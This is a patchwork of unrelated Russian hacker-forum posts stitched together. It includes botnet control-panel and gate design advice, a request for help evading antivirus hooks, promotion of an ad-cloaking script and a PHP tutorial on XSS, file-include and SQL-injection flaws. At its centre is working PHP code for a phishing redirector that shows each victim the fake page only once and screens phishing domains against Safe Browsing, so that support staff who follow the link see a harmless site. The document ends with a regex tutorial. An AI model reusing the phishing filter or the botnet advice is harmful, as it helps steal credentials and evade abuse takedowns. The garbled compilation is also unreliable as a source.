Про сами админки думаю рассказывать нечего делайте юзабильно удобно и
функционально, это дело каждого как она будет выглядеть и какой функционал
вести.
Я хочу уделить внимание части где идёт работа с самим ботом, а так же немного
об проектировании архитектуры БД.
Прежде чем начать что-то писать лично я беру листок бумаги и карандаш и
начинаю рисовать, т.к. стереть резинкой и перерисовать гораздо быстрее чем при
тестировании переписать код
Но рисовать конечно надо не окошки где что будет, а рисовать структуру базы
данных.
Нужно определиться с функционалом бота что бы правильно и оптимизировано
сделать общения с ним, ведь их будет тысячи.
Я отмечу несколько пунктов которые помогают при больших нагрузках:
1. Таблицы не должны иметь много полей (как делают например в зевсе по 15-20
2. Если предполагается большое кол-во строковых параметров типов varchar и
text то лучше вынести их в отдельные таблицы и сделать связующим id.
Теперь объясню почему нужны эти 2 пункта. MySQL имеет свои лимиты а именно
позволяет в одной таблицы хранить до 4Гб данных, на сколько помню это связано
с файловой системой ОС. Так вот если вы рассчитываете что ваш ботнет будет
иметь 100к ботов тогда сразу нужно посчитать какие данные вы о ботах будете
хранить и учесть эти данные в байтах после чего умножить на 100к и выяснить
поместиться ли это, забегу на перёд учитывайте так же поиск по этим данных
например если бот уже есть в БД или выборку по стране или типу к примеру, ведь
SELECT это не INSERT он резервирует память при поиске в таблице и чем больше
там данных тем больше потребует памяти что бы в них поискать.
3. Если данные в таблицах о боте будут обновлятся при каждом его отстуке, то
эти данные должны быть связаны 1 параметром бота либо его id который будет
auto_increment в главной таблице, либо его id который будет передавать сам
бот, это нужно что бы можно было сделать выборку этих данных в 1 запрос с
помощью LEFT JOIN а не пришлось делать по не скольку запросов.
4. Таблицы для логов нужно создавать в зависимости от их назначения и
дальнейшего использования. Т.е. например если это соксы то можно хранить всё в
1 таблице так будет удобнее с ними работать а главное менее затратно по
ресурсам. Если это логи трояна, то лучше делать разбивку на даты используя
вложенные таблицы формата 2009_12__20, 2009_12__21, а так же придерживаясь
правилам 1 и 2 для этих таблиц.
Думаю эти основные момент с которыми я сталкивался при проектирование.
Дальше перейдём к гейту - скрипту работающим с ботом.
В нём я хочу отметить следующие правила:
1. Использовать нужно минимальное кол-во обращений к БД, не стоит делать
лишних.
2. Не нужно делать поисков и выборок по большим таблицам или спискам таблиц,
не в коем случаи нельзя использовать LIKE %%.
3. INSERT лучше использовать с DELAY
По этим 3-м пунктом причина одна, нужно максимально сократить время на
выполнения всех запросов и отдачи ответа боту, т.к. он держит соединение с
сервером забивает канал, а так же при долгих запросах если они будут частые
будут сбои в работе БД. Самый оптимальный вариант это в 3 запроса(он может
быть больше и не портить картины):
Ну думаю на этом советов хватит, главное что админка должна проектироваться вместе с ботом а не отдельно, только тогда можно будет достичь максимально эффекта взаимодействия, например учитывать интервал отстука бота и интервал отправки логов тем самым разгружая от большого кол-во запросов на сервер. А так же использование шифрования и других средств защиты обмена данных.
20.12.2009 (с) Одинокий Волк aka Lonely Wolf
UPD. Добавлена перелинковка со статьёй на других форумах, т.к. везде разные
комментарии и некоторые интересные вопросы и ответы на них.
https://forum.web-hack.ru/index.php?showtopic=91869
http://exploit.in/forum/index.php?showtopic=31258
Всем Привет
Помогите что то с ним сделать сит. след.:
есть AV в захвате SSDT (некоторые функции тоесть жижненные =) )
без AV обхожу inject - том помимо инжекта есть решения ?
я готовый код не прошу, прошу лишь намек в какую сторону рыть ?
Зарание спасибо
Code:Copy to clipboard
#######################
# Автор: red_byte
# Источник:http://darkcoders.net
#######################
[Функция fsockopen()]
Я надеюсь, ты уже знаешь, что такое сокеты, поэтому не будем терять времени на
теорию, а приступим сразу к практике. Для наглядности рассмотрим самый
банальный пример - получение HTTP-заголовков от сервера.
Code:Copy to clipboard
<?
$timeout = 25;
$host = "darkcoders.net";
$port = 80;
$page="index.php";
//Открываем сокет
$sock = fsockopen($host,$port,$errno,$errstr,$timeout);
if (!$sock)
{print "Невозможно открыть сокет
$errstr($errno)";}
//Формируем HTTP-запрос
fputs($sock,"GET http://darkcoders.net/$page HTTP/1.0\r\n\r\n");
//Читаем из сокета первые 200 байт
$header = fgets($sock,200);
fclose($sock);
//Сравниваем первые 15 байт обоих строк
if (strncmp($header,"HTTP/1.1 200 OK",15)==0)
//Если совпадают...
{
print "Страница существует";
} else
{
//Если не совпали, значит ошибка
print "Такой страницы нет
Header: ".$header;
}
?>
В данном коде мы открываем соединение с сервером darkcoders.net на 80 порт и запрашиваем
страницу, определенную в переменной $page. Далее мы сравниваем первые 15 строк с
эталоном, и если все совпадает, тогда страница существует.
Допустим, нам надо получить не только заголовки, но и весь код страницы.
Реализуется это так:
Code:Copy to clipboard
<?
//Открываем сокет
$sock = fsockopen("darkcoders.net", 80, $errno, $errstr, 30);
//Если ошибка, то выводим ее
if (!$sock)
{
echo "$errstr ($errno)
\n";
} else
{
//Делаем HTTP-запрос
fputs ($sock, "GET / HTTP/1.0\r\nHost: darkcoders.net\r\n\r\n");
//Пока не дойдем до конца,
while (!feof($sock))
{
//читаем блоками по 200 байт и выводим их
echo fgets ($sock,200);
}
//Закрываем сокет
fclose ($sock);
}
?>
Как видишь, взаимодействовать с plain-text'овыми сетевыми сервисами довольно
просто. Таким образом можно взаимодействовать не только с HTTP, но и с IRC,
FTP, TELNET и некоторыми другими протоколами. Ну вот, теперь ты можешь
написать свое небольшое сетевое приложение, которое, возможно станет изюминкой
твоего сайта.
(При копировании статьи обязательно указывать источник)
**Варианты деобфускации JavaScript кода
1. Читаемый вид JavaScript в браузере**
Современные браузеры умеют сжатый для экономии трафика код разворачивать в
исходное состояние.
В Chrome (Chromium) - кнопка F12 , выберите вкладку Sources и нажмите
на иконку с фигурными скобками { }
В Firefox эта кнопка доступна на вкладке «Отладчик »
2. JStillery
Bash:Copy to clipboard
git clone https://github.com/mindedsecurity/JStillery
cd JStillery
sudo npm install
+ программа доступна как в виде онлайн сервиса от автора: https://mindedsecurity.github.io/jstillery/
3. JavaScript онлайн деобфускатор
Адрес сервиса:
http://deobfuscatejavascript.com
4. JS Beautifier
Bash:Copy to clipboard
sudo apt install npm
sudo npm -g install js-beautify
js-beautify -h
онлайн сервис от авторов: https://beautifier.io
5. UglifyJS
Bash:Copy to clipboard
sudo apt install uglifyjs
Пример запуска: для улучшения вида файла используется опция -b ; файл (или
несколько файлов) нужно указывать перед опциями:
uglifyjs medium.js -b
Также программа может обрабатывать файлы переданные по стандартному вводу:
cat medium.js | uglifyjs -b
Source:https://github.com/dvygolov/BinomoCloaker
What is Binomo Cloaker ?
Binomo cloaker is a free cloaking script for excellent enterprise marketing that was previously shared open source on hacker forums and is still being developed by yellow web.
What are The Advantages ?
It is no different from cloaker systems rented on the market, and I can even say the best cloaker system for me.The filtering feature features ad integration, such as Facebook and Google. It has many features that I don't count
Drawback
The only disadvantage is that it does not have a user interface.
Should I use ?
my answer: absolutely
Сабж. Как можно это организовать с минимальными затратами?
Создание безопасных php-приложений
Эту статью я решил написать не потому что хочу помочь начинающим кодерам, а просто потому что надо чем-то заполнить контент сайта. Шутка. На самом деле я преследовал именно благородные цели, хотел принести свой собственный вклад в развитие секурного web-программирования=). И так, сразу говорю, что в основном я здесь рассмотрю ошибки (не углуб**ясь в их суть) и их устранение в языке PHP. Попытаюсь собрать самые часто распространенные недочеты. Начну с самых распространенных и "попсовых" багов=).
1. CSS (CrossSiteScripting или XSS)
Обычно такая ошибка возникает, когда какому-либо скрипту передается параметр,
который впоследствии выводится на html-страницу, при этом не проходя
определенную фильтрацию на содержание тегов. Рассмотрим пример подобной
уязвимости, которую я нашел в декабре 2004 года на mail.ru (эх, жалко, что я
тогда даже не знал, что это - уязвимость): при отправке письма пользователю
надо заполнить форму, в которой указывался адрес получателя, тема письма, ну и
само письмо (правда, контент письма не играл не какой роли). При нажатии
кнопки "Отправить" отправитель переходил на страницу, на которой ему
сообщалось, что сообщение для такого-то с темой такой-то успешно отправлено.
Но уязвимость заключалась в том, что адрес получателя и тема письма
передавались этой странице в открытом виде методом GET, т.е. эти данные
отражались в адресной строке. Увидев это, у меня возникло желание заменить
параметры на html-теги. Сработало! А значит, если передавать в параметр java-
script, то он будет выполняться у любого юзера, который откроет "такую"
страницу. Теперь подробнее о том, как избежать такой уязвимости при создании
своего скрипта. Основное правило - фильтрация входных данных, поступающих от
пользователя. В php это делается функциями htmlspecialchars() и striptags().
Лично я пользуюсь последней, но принципиальной разницы нету, обе функции
равноправны. Они просто удаляют теги из входной строки (естественно, можно
задавать разрешенные теги). И ещё один совет: если вы пользуетесб html-формами
для взаимодействия со скриптами, то метод, с помощью которого они будут
передавать данные должен быть "POST"!!! Это, по крайней мере, не будет в
открытом виде высвечивать в адресной строке, что и куда передаётся… В более-
менее продвинутых форумах сейчас также практикуется XSS через BBcode, но об
этом уже не в этой статье…
2. Ошибка php-include
В суть самой уязвимости, как я сказал в начале, я вникать не буду, а сразу
перейду к способам её устранения. Чтобы избежать присоединения "левого" кода к
вашему скрипту, есть один проверенный способ: пропустить входные данные (имя
присоединяемого файла) через оператор условия. Например:
Также, можно использовать оператор "if". Из своего личного опыта могу сказать, что довольно часто встречалась такая ситуация: есть файл index.php, в котором открывается для использования какой-нибудь статический файл, и к этому index.php функцией include присоединялся другой php-файл, в котором уже шла работа непосредственно с тем статическим файлом. На примере это выглядит примерно так:
//Файл index.php $file=fopen("file.txt","r"); include("file_functions.php"); . . . fclose($file); ?>а в файле file_functions.php примерно такое содержание:
//Файл file_functions.php include($file); . . ….some actions . ?>Таким образом, указатель на присоединяемый файл file.php объявлен во внешнем файле, и если вызвать отдельно "file_functions.php?file=script.php", то выведется содержание любого файла на сервере (по крайней мере, если файл - из WWW-директории и, конечно же, должно быть regiter_globals=on ). Всем этим я хотел сказать, что объявлять указатель на файл надо в том же скрипте, который с этим файлом и работает (фууф, надеюсь, все понятно).
3. SQL-injection
Сегодня уже можно с уверенностью сказать, что если скрипт вызывается с
параметром "id", или чем-то похожим, то он (скрипт) работает с БД, и этот
самый параметр участвует в запросе. Как правило, в параметр, a участвующий в
запросе, передается числовое значение поля, по которому данные изымаются из
таблицы. Чтобы избежать изменения запроса (посредством изменения параметра:
добавление кавычек, union select, или других выражений MYSQL), нужно, чтобы в
параметр передавалось ТОЛЬКО ЧИСЛО. В этом поможет функция intval(), которая
преобразует заданную переменную в числовую. Пример:
В данном случае, после обработки, переменная $var будет равна ЧИСЛУ 100. Так что на sql-запросе подстановка неправильных параметров не отразится.
4. Другое….
В одном из самодельных (да, в паблик-продуктах таких идиотских ошибок не может
быть) форумов я нашел такую ошибку: в один из параметров передавалось не что
иное, а php-код!!! Для меня в том случае было ещё одно обстоятельство, которое
не могло не радовать: на сервере стояла Винда, так что было где поразвлечься!
Команды выполнялись практически, дело дошло уже до того, что я вписывал в
параметр код целыми строками. Да… Идиотская прореха…
Пока это всё, но обновления скоро будут.....
Копирование материала без разрешения автора (antiox'а, т.е. МЕНЯ) запрещено. В оригинале статью можно прочитать на моем сайте antiox.loteam.net
При рассылке фишинга, бдительные пользователи зачастую переотправляют фишинг письма в саппорт, где сап с легкостью тянет наш
Click to expand...
переходит на него, видит что фишинг и шлет абузу по домену, хостингу, трампу в
телегу.
Моя идея такова, чтобы каждый заход на фэйк по
Click to expand...
был одноразовым.То есть
1)Джон получает фишинг письмо, переходит по ссылке, вводит пароль и
отправляется в зависимости от разводки
2)Но Джон заподозрил что-то неладное, и пересылает наше письмо в службу
поддержки (Email сервиса,биржы,банка) с вопросом WTF?
3)Билл из службы поддержки получает письмо от Джона, переходит по линку и
видет там фишинг сайт.Шлет абузы по всем направлениям.
Суть в том, что после того как Джон перейдет по ссылке заточенной под него
evil.com/?id=john@mail.cc
Click to expand...
, то при повторном заходе по этой же ссылке,будет открываться не фишинг сайт,
а наш белый сайт (либо pornhub, закос под рассылку порнухи или датинг).
Вижу схему так-регаем кучу доменов недорогих .XYZ для редиректа, пару фишинг
доменов для фэйка.
В само письмо вставляем ссылку вида
redirect.xyz/in.php?id=john@mail.cc
Click to expand...
, где in.php и будет наш фильтр.
В сам фильтр будет встроен чекер доменов фэйка на Safe Browsing и чекер
уникальности и редирект.
Если заход уникален, чекаем фишинг домен на Safe Browsing, если первый(или
последний в списке) домен чист то редиректим на
evil.com/?id=john@mail.cc
Click to expand...
, если заход повторный то редиректим на белое.
Собственно все это реализовано уже, но скрипт желательно посмотреть кодеру,
так как я не кодер, собрал его через гугл.Прошу помощи допилить его до
правильного кода и мб добавить какие идеи по этой реализации и в целом по
защите фэйков.Спасибо
PHP:Copy to clipboard
<?php
ob_start();
$curl = curl_init();
################################ Setup
$user = $_GET['id'];
$remove_user = "true"; //Включаем или отключаем фильтр по уникальности
$white_link = "https://dating.com"; // Белый линк
$good_base = file("good_mail",FILE_IGNORE_NEW_LINES); // Файл со списком Email на которые была рассылка, из него будем удалять мыла по мере работы
$filtred_mail = 'filtred_mail'; // Пишем сюда мыла которые отфильтровались
$good_log = 'fullog_index'; // Пишем сюда все заходы на скрипт
################################
$domains = array(
"https://evil.com/index.php?id=",
"https://evil2.com/index.php?id="
);
function check_gsb($domain)
{
global $curl;
$params = array(
"client" => array(
"clientId" => "yourcompanyname",
"clientVersion" => "1.5.2"
),
"threatInfo" => array(
"threatTypes" => ["MALWARE", "SOCIAL_ENGINEERING"],
"platformTypes" => ["WINDOWS"],
"threatEntryTypes" => ["URL"],
"threatEntries" => array(
"url" => $domain
)
),
);
$options = array(
CURLOPT_URL => "https://safebrowsing.googleapis.com/v4/threatMatches:find?key=111111111111111111111",
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => "",
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 30,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => "POST",
CURLOPT_POSTFIELDS => json_encode($params),
CURLOPT_HTTPHEADER => array(
"cache-control: no-cache",
"content-type: application/json",
"postman-token: b05b8d34-85f2-49cf-0f8e-03686a71e4e9"
),
);
curl_setopt_array($curl, $options);
$response = curl_exec($curl);
return $response;
}
//Check bad traffic
if (!isset($user) or empty($user)){ //If ID none or = null
header('Location: '.$white_link.'');}
if (!in_array($user, $good_base)){ //If ID non contain in goodmail
$data = $user. ":".$_SERVER["REMOTE_ADDR"].":".$_SERVER["HTTP_USER_AGENT"];
file_put_contents($filtred_mail, print_r($data, true), FILE_APPEND);
file_put_contents($filtred_mail, print_r("\r\n" , true), FILE_APPEND);
header('Location: '.$white_link.'');}
//Good Redirect to Fake
else {
foreach ($domains as $domain) {
$main_response = check_gsb($domain);
if (strlen($main_response) < 4) {
header('Location: '.$domain.$user);
} else {continue; }
}}
if ($remove_user == "true"){
$data = file("good_mail");
$out = array();
foreach ($data as $line) {
if(trim($line) != $user) {
$out[] = $line;
}
}
$fp = fopen("good_mail", "w+");
flock( $fp , LOCK_EX);
foreach ($out as $line) {
fwrite ($fp , $line);
}
flock($fp, LOCK_UN);
fclose($fp); }
function getUserIP()
{
$realip = @$_SERVER['HTTP_X_REAL_IP'];
$client = @$_SERVER['HTTP_CLIENT_IP'];
$forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
$remote = $_SERVER['REMOTE_ADDR'];
$ip = $remote;
if(filter_var($realip, FILTER_VALIDATE_IP))
{$ip = $realip; }
elseif(filter_var($client, FILTER_VALIDATE_IP))
{$ip = $client;}
elseif(filter_var($forward, FILTER_VALIDATE_IP))
{$ip = $forward;}
else {$ip = $remote;}
return $ip;}
$realIP = getUserIP();
#full log
file_put_contents($good_log, print_r($_SERVER["HTTP_X_REAL_IP"] , true), FILE_APPEND);
file_put_contents($good_log, print_r(" " , true), FILE_APPEND);
file_put_contents($good_log, print_r($realIP, true), FILE_APPEND);
file_put_contents($good_log, print_r(" " , true), FILE_APPEND);
file_put_contents($good_log, print_r($_SERVER["REMOTE_ADDR"] , true), FILE_APPEND);
file_put_contents($good_log, print_r(" " , true), FILE_APPEND);
file_put_contents($good_log, print_r($_SERVER["HTTP_USER_AGENT"], true), FILE_APPEND);
file_put_contents($good_log, print_r(" " , true), FILE_APPEND);
file_put_contents($good_log, print_r($_GET, true), FILE_APPEND);
file_put_contents($good_log, print_r("######################################################\n\r" , true), FILE_APPEND);
curl_close($curl);
?>
поделитесь актуальными базами пожалуйста, у кого есть.
Что такое Регулярное выражение?
Регулярное выражение - это группа букв или символов, которая используется для поиска определенного шаблона в тексте.
Click to expand...
Регулярное выражение - это шаблон, сопоставляемый с искомой строкой слева направо. Термин «Регулярное выражение» сложно произносить каждый раз, поэтому, обычно, вы будете сталкиваться с сокращениями "регэкспы" или "регулярки". Регулярные выражения используются для замен текста внутри строк, валидации форм, извлечений подстрок по определенным шаблонам и множества других вещей.
Представьте, что вы пишете приложение и хотите установить правила, по которым пользователь выбирает свой юзернейм. Мы хотим, чтобы имя пользователя содержало буквы, цифры, подчеркивания и дефисы. Мы также хотим ограничить количество символов в имени пользователя, чтобы оно не выглядело безобразно. Для этого, используем следующее регулярное выражение:
![Regular expression](/proxy.php?image=https%3A%2F%2Fgithub.com%2Fziishaned%2Flearn- regex%2Fraw%2Fmaster%2Fimg%2Fregexp- ru.png&hash=fabd23765c8db23626f0bc2cc5390401)
Регулярное выражения выше может принимать строки john_doe, jo-hn_doe и john12_as. Оно не валидирует Jo, поскольку эта строка содержит заглавные буквы, а также она слишком короткая.
Содержание
1. Совпадения.
В сущности, регулярное выражение - это просто набор символов, который мы
используем для поиска в тексте. Например, регулярное выражение the состоит из
буквы t, за которой следует буква h, за которой следует буква e.
"the" => The fat cat sat on the mat.
Запустить регулярное выражение
Регулярное выражение 123 соответствует строке 123. Регулярное выражение сопоставляется с входной строкой, сравнивая каждый символ в регулярном выражении с каждым символом во входной строке по одному символу за другим. Регулярные выражения обычно чувствительны к регистру, поэтому регулярное выражение The не будет соответствовать строке the.
"The" => The fat cat sat on the mat.
Запустить регулярное выражение
2. Метасимволы
Метасимволы это блоки, из которых строятся регулярные выражения. Метасимволы
не означают что-то сами по себе, вместо этого они интерпретируются для
распознавания специальных групп символов. Некоторые метасимволы имеют особые
обозначения и пишутся в квадратных скобках. Существуют следующие метасимволы:
Метасимволы| Описание
---|---
.| Точка соответствует любому отдельному символу, кроме разрыва строки.
[ ]| Класс символов. Находить любые символы заключенные в квадратных скобках.
[^ ]| Отрицание класа символов. Находить любые символы не заключенные в
квадратных скобках.
*| Находить 0 или более повторений предыдущего символа.
+| Находить 1 или более повторений предыдущего символа.
?| Сделать предыдущий символ необязательным.
{n,m}| Скобки. Находить по крайней мере "n" но не более чем "m" повторений
предыдущего символа.
(xyz)| Группа символов. Находить только символы xyz в указанном порядке.
|| Чередование. Находить либо буквы до, либо буквы после символа.
\| Экранирование. Позволяет находить зарезервированные символы: [ ] ( ) { } . * + ? ^ $ \ |
^| Обозначает начало пользовательского ввода.
$| Обозначает конец пользовательского ввода.
2.1 Точка
Точка . это простейший пример метасимвола. Метасимвол . находит любой
отдельный символ. Точка не будет находить символы перехода или перевода
строки. For example, the regular expression .ar means: any character, followed
by the letter a, followed by the letter r. Например, регулярное выражение
'.ar' обозначает: любой символ, за которым следуют буквы a и r.
".ar" => The car par ked in the gar age.
Запустить регулярное выражение
2.2 Набор символов.
Набор символов также называется классом символов. Квадратные скобки
используются для определения набора символов. Дефис используется для указания
диапазона символов. Порядок следования символов, заданный в квадратных
скобках, не важен. Например, регулярное выражение [Tt]he обозначает заглавную
'T' или строчную 't', за которой следуют буквы 'h' и 'e'.
"[Tt]he" => The car parked in the garage.
Запустить регулярное выражение
Точка внутри набора символов, однако, обозначает непосредственно точку, как символ. Регулярное выражение ar[.] обозначает строчную 'a', за которой следует 'r', за которой следует '.' (символ точки).
"ar[.]" => A garage is a good place to park a car.
Запустить регулярное выражение
2.2.1 Отрицание набора символов
Знак вставки '^' обозначает начало строки, однако, когда вы вписываете его
после открытия квадратных скобок, он отрицает набор символов. Например,
регулярное выражение [^c]ar обозначает любой символ, кроме 'c', за которым
следуют буквы 'a' и 'r'.
"[^c]ar" => The car par ked in the gar age.
Запустить регулярное выражение
2.3 Повторения
Символы +, * or ? используются для обозначения того, как сколько раз
появляется какой-либо подшаблон. Данные метасимволы могут вести себя по-
разному, в зависимости от ситуации.
2.3.1 Звёздочка
Символ * обозначает ноль или более повторений предыдущего совпадения.
Регулярное выражение a * означает ноль или более повторений предыдущего
строчного символа a. Если же символ появляется после набора или класса
символов, он находит повторения всего набора символов. Например, регулярное
выражение [a-z] *означает любое количество строчных букв в строке.
"[a-z]*" => The car parked in the garage #21.
Запустить регулярное выражение
Символы можно комбинировать, так, например, символ * может использоваться с метасимволом . для поиска одной строки с произвольным содержанием . * . Символ
"\scat\s" => The fatcat sat on the concat enation.
Запустить регулярное выражение
2.3.2 Плюс
Символ + соответствует одному или более повторению предыдущего символа.
Например, регулярное выражение c.+t означает строчную c, за которой следует по
крайней мере один символ, следом за которым идёт символ t. Стоит уточнить, что
в данном шаблоне, t является последним t в предложении.
"c.+t" => The fat cat sat on the mat.
Запустить регулярное выражение
2.3.3 Знак вопроса
В регулярном выражении метасимвол ? делает предыдущий символ необязательным.
Этот символ соответствует нулю или одному экземпляру предыдущего символа.
Например, регулярное выражение [T]?he означает необязательную заглавную букву
T, за которой следуют символы 'h' и 'e'.
"[T]he" => The car is parked in the garage.
Запустить регулярное выражение
"[T]?he" => The car is parked in the garage.
Запустить регулярное выражение
2.4 Фигурные скобки
В фигурных скобках, которые также называются квантификаторами, указывается,
сколько раз символ или группа символов могут повторяться. Например, регулярное
выражение [0-9] {2,3} означает совпадение не менее 2 но не более 3 цифр в
диапазоне от 0 до 9.
"[0-9]{2,3}" => The number was 9.999 7 but we rounded it off to 10.0.
Запустить регулярное выражение
Уберём второй номер (цифру 3), тогда, регулярное выражение [0-9] {2,} будет означать совпадение 2 или более цифр. Если мы также удалим запятую, то регулярное выражение [0-9] {3} будет означать совпадение точно с 3 цифрами.
"[0-9]{2,}" => The number was 9.9997 but we rounded it off to 10.0.
Запустить регулярное выражение
"[0-9]{3}" => The number was 9.999 7 but we rounded it off to 10.0.
Запустить регулярное выражение
2.5 Скобочные группы
Скобочные группы это группы подшаблонов, которые написаны в круглых скобках (...). Как мы уже говорили ранее в регулярном выражении, если мы поставим квантификатор после символа, он будет повторять предыдущий символ. Но если мы поставим квантификатор после скобочной группы, он будет искать всю группу. Например, регулярное выражение (ab) * соответствует нулю или более повторений символа "ab". Мы также можем использовать метасимвол чередования | внутри скобочной группы. Например, регулярное выражение (c|g|p)arозначает поиск одной из строчных букв c, g или p, за которыми следуют буквы 'a' и 'r'.
"(c|g|p)ar" => The car is par ked in the gar age.
Запустить регулярное выражение
Обратите внимание, что скобочные группы не только находят, но и захватывают символы для использования на родительском языке. Родительским языком может быть python, javascript или практически любой язык, который реализует использование регулярных выражений как параметров функций.
2.5.1 Не запоминающие скобочные группы
Бывает так, что группу определить нужно, а вот запоминать их содержимое в
массиве не требуется. Подобный трюк осуществляется при помощи
зарезервированной комбинации ?: в круглых скобках (...). Например, регулярное
выражение (?:c|g|p)ar будет находить такие же шаблоны как и (c|g|p)ar, однако
скобочная группа при этом создана не будет.
"(?:c|g|p)ar" => The car is par ked in the gar age.
Запустить регулярное выражение
Не запоминающиеся группы пригодиться, когда они используются в функциях поиска и замены или в сочетании со скобочными группами, например, для предпросмотра при создании скобочной группы или другого вида выходных данных, смотрите также [4. Опережающие и ретроспективные проверки](https://github.com/ziishaned/learn- regex/blob/master/translations/README- ru.md#4-%D0%BE%D0%BF%D0%B5%D1%80%D0%B5%D0%B6%D0%B0%D1%8E%D1%89%D0%B8%D0%B5-%D0%B8-%D1%80%D0%B5%D1%82%D1%80%D0%BE%D1%81%D0%BF%D0%B5%D0%BA%D1%82%D0%B8%D0%B2%D0%BD%D1%8B%D0%B5-%D0%BF%D1%80%D0%BE%D0%B2%D0%B5%D1%80%D0%BA%D0%B8).
2.6 Альтернация
В регулярных выражениях, вертикальная черта | используется для определения альтернации (чередования). Альтернация по своей сути похожа на оператор ИЛИ между логическими выражениями. Может создаться впечатление, что чередование это то же самое, что и определение набора символов. Однако, большая разница между ними в том, что набор символов работает на уровне конкретных символов, в то время как альтернация работает на уровне выражений. Например, регулярное выражение (T|t)he|car объединяет два шаблона (заглавная T ИЛИ строчная t, с продолжением из 'h' и 'e') и шаблон (строчная c, затем строчная a, за которой следует строчная r). Таким образом, в поиске будет участвовать любой из данных шаблонов, по аналогии с логической операцией ИЛИ в программировании и алгебре выражений.
"(T|t)he|car" => The car is parked in the garage.
Запустить регулярное выражение
2.7 Экранирование спецсимволов
Обратный слэш \ используется в регулярных выражениях для экранирования следующего символа. Это позволяет формировать шаблоны с поиском зарезервированных символамов, таких как { } [ ] / \ + * . $ ^ | ?. Для использования спецсимвола в шаблоне необходимо указать символ '' перед ним.
Как упомянуто выше, символ . является зарезервированным и соответствует любому значению, кроме символа новой строки. Бывают ситуации, когда необходимо найти точку в предложении, для таких случаев применимо экранирование. Рассмотрим выражение (f|c|m)at\.?, что соответствует следующему шаблону: стройчный символ f, c или m, за которым следует строчные буквы a и t, с опциональной . точкой в конце.
"(f|c|m)at\.?" => The fat cat sat on the mat.
Запустить регулярное выражение
2.8 Якоря
Понятие якорей в регулярных выражениях используется для обозначения проверок,
является ли соответствующий символ начальным или конечным символом входной
строки. Якоря бывают двух типов: Первый тип - Каретка ^, проверяет, является
ли соответствующий символ начальным символом в тексте. Второй тип - Доллар $,
проверяет, является ли соответствующий символ последним символом входной
строки.
2.8.1 Каретка
Символ каретки ^ используется для проверки, является ли соответствующий символ
первым символом входной строки. Если мы применяем следующее регулярное
выражение ^a (если a является начальным символом) для строки abc, совпадение
будет соответствовать букве a. Если же мы используем регулярное выражение ^b
на той же строке, мы не получим совпадения, поскольку во входящей строке abc
"b" не является первым символом. Рассмотрим другое регулярное выражение:
^(T|t)he, обозначающее заглавную T или строчную t как первый символ, за
которым следуют символы букв 'h' и 'e'. Cоответственно:
"(T|t)he" => The car is parked in the garage.
Запустить регулярное выражение
"^(T|t)he" => The car is parked in the garage.
Запустить регулярное выражение
2.8.2 Доллар
Символ доллара $ используется для проверки, является ли соответствующий символ
последним символом входной строки. Например, регулярное выражение (at\.)$
последовательность из строчной a, строчной t, и точки ., ключевой момент в
том, что благодаря доллару этот шаблон будет находить совпадения только в том
случае, если будет наблюдаться в конце строки. Например:
"(at\.)" => The fat cat. sat. on the mat.
Запустить регулярное выражение
"(at\.)$" => The fat cat. sat. on the mat.
Запустить регулярное выражение
3. Наборы сокращений и диапазоны
Регулярные выражения предоставляют сокращения для часто используемых наборов
символов, которые предлагают удобные сокращения для часто используемых
регулярных выражений. Наборы сокращенных символов следующие:
Сокращение| Описание
---|---
.| Любой символ кроме символа новой строки
\w| Поиск буквенно-цифрового диапазона символов: [a-zA-Z0-9_]
\W| Поиск не буквенно-цифрового диапазона символов: [^\w]
\d| Поиск цифр: [0-9]
\D| Поиск всего, что не является цифрой: [^\d]
\s| Поиск пробелов и символов начала строки: [\t\n\f\r\p{Z}]
\S| Поиск всего кроме пробелов и символов начала строки: [^\s]
4. Опережающие и ретроспективные проверки
Опережающие и ретроспективные проверки (в английской литературе lookbehind,
lookahead) это особый вид не запоминающих скобочных групп (находящих
совпадения, но не добавляющих в массив). Данные проверки используются, мы
знаем, что шаблон предшествует или сопровождается другим шаблоном. Например,
мы хотим получить получить цену в долларах $, из следующей входной строки
$4.44 and $10.88. Для этого используем следующее регулярное выражение
(?<=$)[0-9\.]*, означающее получение всех дробных (с точкой .) цифр, которым
предшествует знак доллара $. Существуют следующие виды проверок:
Символ| Описание
---|---
?=| Положительное опережающее условие
?!| Отрицательное опережающее условие
?<=| Положительное ретроспективное условие
?<!| Отрицательное ретроспективное условие
4.1 Положительное опережающее условие
Положительное опережающее утверждение (assert) означает, что за первой частью
выражения должно следовать опережающее выражение (lookahead expression). (по
аналогии с условиями, if (..) then (..)). Возвращенное совпадение содержит
только текст, который соответствует первой части выражения. Для определения
положительного опережающего условия используются круглые скобки. В этих
скобках используется знак вопроса со знаком равенства: (?=...). Опережающее
выражение, записывается в скобках после знака равенства. Рассмотрим пример
регулярного выражения: (T|t)he(?=\sfat), обозначающее опциональное наличие
строчной t или заглавной T, следом буквы h и e. В скобках, мы определяем
положительное опережающее условие, которое сообщает движку регулярных
выражений информацию о том, что после шаблона The или the будет следовать
слово fat.
"(T|t)he(?=\sfat)" => The fat cat sat on the mat.
Запустить регулярное выражение
4.2 Отрицательное опережающее условие
Отрицательное опережающее условие работает по обратному принципу:
используется, когда нам нужно получить все совпадения из входной строки, за
которыми НЕ следует определенный шаблон. Отрицательное опережающее условие
определяется таким же образом, как и позитивное, с той лишь разницей, что
вместо равенства = мы ставим восклицательный знак ! (отрицание) например:
(?!...). Рассмотрим выражение (T|t)he(?!\sfat), в котором мы находим все The
или the слова из входной строки, за которыми не следует слово fat.
"(T|t)he(?!\sfat)" => The fat cat sat on the mat.
Запустить регулярное выражение
4.3 Положительное ретроспективное условие
Положительное ретроспективное условие используется чтобы найти все совпадения,
которым предшествует определенный шаблон. Условие определяется как (?<=...).
Например, выражение (?<=(T|t)he\s)(fat|mat)означает, найти все слова fat или
mat из входной строки, которым предшествует слово The or the.
"(?<=(T|t)he\s)(fat|mat)" => The fat cat sat on the mat.
Запустить регулярное выражение
4.4 Отрицательное ретроспективное условие
Отрицательное ретроспективное условие используется чтобы найти все совпадения,
которым НЕ предшествует определенный шаблон. Условие определяется как
(?<!...). Например, выражение (?<!(T|t)he\s)(cat) означает найти все слова cat
из входной строки, которым не предшествует определенный артикль The или the.
"(?<!(T|t)he\s)(cat)" => The cat sat on cat.
Запустить регулярное выражение
5. Флаги
Флаги, также называемые модификаторами, изменяют вывод регулярного выражения.
